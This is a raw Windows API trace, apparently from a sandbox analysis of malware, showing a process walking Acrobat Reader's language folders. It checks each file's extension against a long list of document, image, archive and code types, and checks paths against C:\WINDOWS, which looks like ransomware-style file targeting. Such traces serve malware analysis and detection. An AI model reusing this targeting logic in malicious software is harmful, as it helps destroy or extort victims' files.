lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0266.388] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.388] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.388] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.388] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0266.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.389] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.389] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0266.390] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.390] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.390] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.390] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0266.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.390] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.391] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0266.391] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.392] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.392] lstrlenW (lpString="ui-strings.js") returned 13 [0266.392] lstrlenW (lpString=".1cd") returned 4 [0266.392] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.392] lstrlenW (lpString=".3ds") returned 4 [0266.392] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.392] lstrlenW (lpString=".3fr") returned 4 [0266.392] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.392] lstrlenW (lpString=".3g2") returned 4 [0266.392] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.392] lstrlenW (lpString=".3gp") returned 4 [0266.392] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.392] lstrlenW (lpString=".7z") returned 3 [0266.392] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.392] lstrlenW (lpString=".accda") returned 6 [0266.393] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.393] lstrlenW (lpString=".accdb") returned 6 [0266.393] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.393] lstrlenW (lpString=".accdc") returned 6 [0266.393] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.393] lstrlenW (lpString=".accde") returned 6 [0266.393] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.393] lstrlenW (lpString=".accdt") returned 6 [0266.393] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.393] lstrlenW (lpString=".accdw") returned 6 [0266.393] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.393] lstrlenW (lpString=".adb") returned 4 [0266.393] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.393] lstrlenW (lpString=".adp") returned 4 [0266.393] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.393] lstrlenW (lpString=".ai") returned 3 [0266.393] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.393] lstrlenW (lpString=".ai3") returned 4 [0266.394] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".ai4") returned 4 [0266.394] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".ai5") returned 4 [0266.394] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".ai6") returned 4 [0266.394] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".ai7") returned 4 [0266.394] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".ai8") returned 4 [0266.394] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".anim") returned 5 [0266.394] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.394] lstrlenW (lpString=".arw") returned 4 [0266.394] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".as") returned 3 [0266.394] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.394] lstrlenW (lpString=".asa") returned 4 [0266.394] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".asc") returned 4 [0266.394] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.394] lstrlenW (lpString=".ascx") returned 5 [0266.394] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.395] lstrlenW (lpString=".asm") returned 4 [0266.395] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".asmx") returned 5 [0266.395] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.395] lstrlenW (lpString=".asp") returned 4 [0266.395] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".aspx") returned 5 [0266.395] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.395] lstrlenW (lpString=".asr") returned 4 [0266.395] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".asx") returned 4 [0266.395] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".avi") returned 4 [0266.395] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".avs") returned 4 [0266.395] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".backup") returned 7 [0266.395] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.395] lstrlenW (lpString=".bak") returned 4 [0266.395] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.395] lstrlenW (lpString=".bay") returned 4 [0266.395] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".bd") returned 3 [0266.396] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.396] lstrlenW (lpString=".bin") returned 4 [0266.396] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".bmp") returned 4 [0266.396] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".bz2") returned 4 [0266.396] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".c") returned 2 [0266.396] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.396] lstrlenW (lpString=".cdr") returned 4 [0266.396] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".cer") returned 4 [0266.396] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".cf") returned 3 [0266.396] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.396] lstrlenW (lpString=".cfc") returned 4 [0266.396] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".cfm") returned 4 [0266.396] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.396] lstrlenW (lpString=".cfml") returned 5 [0266.396] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.397] lstrlenW (lpString=".cfu") returned 4 [0266.397] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".chm") returned 4 [0266.397] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".cin") returned 4 [0266.397] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".class") returned 6 [0266.397] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.397] lstrlenW (lpString=".clx") returned 4 [0266.397] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".config") returned 7 [0266.397] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.397] lstrlenW (lpString=".cpp") returned 4 [0266.397] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".cr2") returned 4 [0266.397] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".crt") returned 4 [0266.397] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".crw") returned 4 [0266.397] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.397] lstrlenW (lpString=".cs") returned 3 [0266.397] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.397] lstrlenW (lpString=".css") returned 4 [0266.398] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".csv") returned 4 [0266.398] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".cub") returned 4 [0266.398] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".dae") returned 4 [0266.398] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".dat") returned 4 [0266.398] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".db") returned 3 [0266.398] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.398] lstrlenW (lpString=".dbf") returned 4 [0266.398] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".dbx") returned 4 [0266.398] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".dc3") returned 4 [0266.398] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".dcm") returned 4 [0266.398] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".dcr") returned 4 [0266.398] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.398] lstrlenW (lpString=".der") returned 4 [0266.398] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".dib") returned 4 [0266.399] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".dic") returned 4 [0266.399] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".dif") returned 4 [0266.399] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".divx") returned 5 [0266.399] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.399] lstrlenW (lpString=".djvu") returned 5 [0266.399] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.399] lstrlenW (lpString=".dng") returned 4 [0266.399] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".doc") returned 4 [0266.399] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".docm") returned 5 [0266.399] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.399] lstrlenW (lpString=".docx") returned 5 [0266.399] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.399] lstrlenW (lpString=".dot") returned 4 [0266.399] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.399] lstrlenW (lpString=".dotm") returned 5 [0266.399] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.400] lstrlenW (lpString=".dotx") returned 5 [0266.400] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.400] lstrlenW (lpString=".dpx") returned 4 [0266.400] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".dqy") returned 4 [0266.400] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".dsn") returned 4 [0266.400] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".dt") returned 3 [0266.400] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.400] lstrlenW (lpString=".dtd") returned 4 [0266.400] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".dwg") returned 4 [0266.400] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".dwt") returned 4 [0266.400] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".dx") returned 3 [0266.400] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.400] lstrlenW (lpString=".dxf") returned 4 [0266.400] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.400] lstrlenW (lpString=".edml") returned 5 [0266.400] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.401] lstrlenW (lpString=".efd") returned 4 [0266.401] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.401] lstrlenW (lpString=".elf") returned 4 [0266.401] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.401] lstrlenW (lpString=".emf") returned 4 [0266.401] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.401] lstrlenW (lpString=".emz") returned 4 [0266.401] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.401] lstrlenW (lpString=".epf") returned 4 [0266.401] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.401] lstrlenW (lpString=".eps") returned 4 [0266.401] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.401] lstrlenW (lpString=".epsf") returned 5 [0266.401] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.401] lstrlenW (lpString=".epsp") returned 5 [0266.402] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.402] lstrlenW (lpString=".erf") returned 4 [0266.402] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".exr") returned 4 [0266.402] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".f4v") returned 4 [0266.402] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".fido") returned 5 [0266.402] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.402] lstrlenW (lpString=".flm") returned 4 [0266.402] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".flv") returned 4 [0266.402] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".frm") returned 4 [0266.402] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".fxg") returned 4 [0266.402] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".geo") returned 4 [0266.402] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.402] lstrlenW (lpString=".gif") returned 4 [0266.403] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.403] lstrlenW (lpString=".grs") returned 4 [0266.403] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.403] lstrlenW (lpString=".gz") returned 3 [0266.403] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.403] lstrlenW (lpString=".h") returned 2 [0266.403] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.403] lstrlenW (lpString=".hdr") returned 4 [0266.403] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.403] lstrlenW (lpString=".hpp") returned 4 [0266.403] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.403] lstrlenW (lpString=".hta") returned 4 [0266.403] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.403] lstrlenW (lpString=".htc") returned 4 [0266.403] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.403] lstrlenW (lpString=".htm") returned 4 [0266.404] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".html") returned 5 [0266.404] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.404] lstrlenW (lpString=".icb") returned 4 [0266.404] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".ics") returned 4 [0266.404] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".iff") returned 4 [0266.404] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".inc") returned 4 [0266.404] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".indd") returned 5 [0266.404] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.404] lstrlenW (lpString=".ini") returned 4 [0266.404] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".iqy") returned 4 [0266.404] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.404] lstrlenW (lpString=".j2c") returned 4 [0266.405] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".j2k") returned 4 [0266.405] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".java") returned 5 [0266.405] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.405] lstrlenW (lpString=".jp2") returned 4 [0266.405] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".jpc") returned 4 [0266.405] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".jpe") returned 4 [0266.405] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".jpeg") returned 5 [0266.405] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.405] lstrlenW (lpString=".jpf") returned 4 [0266.405] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".jpg") returned 4 [0266.405] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".jpx") returned 4 [0266.405] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.405] lstrlenW (lpString=".js") returned 3 [0266.405] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.406] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.406] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0266.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.406] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0266.406] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro") returned 106 [0266.406] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro") returned 1 [0266.406] lstrlenW (lpString="ro-ro") returned 5 [0266.406] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1 [0266.406] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.406] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro") returned 106 [0266.406] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 